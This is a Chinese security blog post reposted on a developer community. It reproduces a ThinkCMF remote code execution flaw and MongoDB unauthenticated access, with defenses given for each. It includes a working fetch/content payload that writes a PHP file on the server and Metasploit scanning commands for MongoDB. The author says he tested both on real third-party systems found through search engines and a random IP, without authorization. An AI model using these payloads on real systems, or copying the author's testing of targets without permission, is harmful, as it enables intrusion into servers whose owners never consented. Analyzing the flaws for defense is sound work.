前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkCMF框架任意内容包含漏洞与MongoDB未授权访问漏洞复现的分析与复现

ThinkCMF框架任意内容包含漏洞与MongoDB未授权访问漏洞复现的分析与复现

作者头像
Power7089
发布2019-11-06 23:57:11
1.1K0
发布2019-11-06 23:57:11
举报

感谢南柯酒馆的投稿文章

ThinkCMF框架任意内容包含漏洞

0x00简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

0x01影响版本

ThinkCMF X1.6.0ThinkCMF X2.1.0ThinkCMF X2.2.0ThinkCMF X2.2.1ThinkCMF X2.2.2ThinkCMF X2.2.3

0x02漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

0x03 漏洞分析

下载一份ThinkCMF的源码[我这里用的是(2.2.3)],打开程序的项目路径,如下显示项目路径在application目录下

代码语言:javascript
复制
//开启调试模式

define("APP_DEBUG", true);

//网站当前路径

define('SITE_PATH', dirname(__FILE__)."/");

//项目路径,不可更改

define('APP_PATH', SITE_PATH . 'application/');

//项目相对路径,不可更改

define('SPAPP_PATH',  SITE_PATH.'simplewind/');

//

define('SPAPP',  './application/');

//项目资源目录,不可更改

define('SPSTATIC',  SITE_PATH.'statics/');

//定义缓存存放路径

define("RUNTIME_PATH", SITE_PATH ."data/runtime/");

//静态缓存目录

define("HTML_PATH", SITE_PATH ."data/runtime/Html/");

打开

代码语言:javascript
复制
\ThinkCMFX\application\Portal\Controller\IndexController.class.php

发现display方法,继续追踪HomebaseController

追踪HomebaseController,定位到display方法,display函数的作用是加载模板和页面输出,templateFile为模板文件地址,charset为模板字符集,contentType为输出类型,content为输出内容。另外存在public权限的函数还有fetch,fetch函数的作用是获取页面内容,templateFile为模板文件,content为输出内容,prefix为模板缓存前缀。

目录:

代码语言:javascript
复制
\ThinkCMFX\application\Common\Controller\HomebaseController.class.php

0x04漏洞利用

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件 payload:

代码语言:javascript
复制
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

这里我就随便找了个站来测试,事先在某fa搜索的

执行我们的payload以后,页面是空白的

我们访问test.php文件

可以看到我们的phpinfo();是被执行了并且创建了一个名为test.php的文件

0x05防御

将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。


MongoDB未授权访问漏洞

0x00简介

MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。

0x01漏洞危害

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。

0x02漏洞成因

在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!当admin.system.users一个用户都没有时,即使mongod启动时添加了—auth参数,如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以—auth 参数启动),直到在admin.system.users中添加了一个用户。加固的核心是只有在admin.system.users中添加用户之后,mongodb的认证,授权服务才能生效

0x03漏洞复现

我也是有关键词的男人(其实是我苦苦求着表哥给我的)

随缘选一个ip然后祭出神奇metasploit

MongoDB默认端口27017,当配置成无验证时,存在未授权访问,使用msf中的scanner/mongodb/mongodb_login模块进行测试,使用navicat连接获取数据库中的内容。

代码语言:javascript
复制
use auxiliary/scanner/mongodb/mongodb_login

set rhosts 192.168.90.0/24

set threads 10

exploit

0x04防御

1、修改默认端口

2、不要开放服务到公网

  • vim /etc/mongodb.conf
  • bind_ip =127.0.0.1

3、禁用HTTP和REST端口

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01影响版本
  • 0x02漏洞危害
  • 0x03 漏洞分析
  • 0x05防御
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档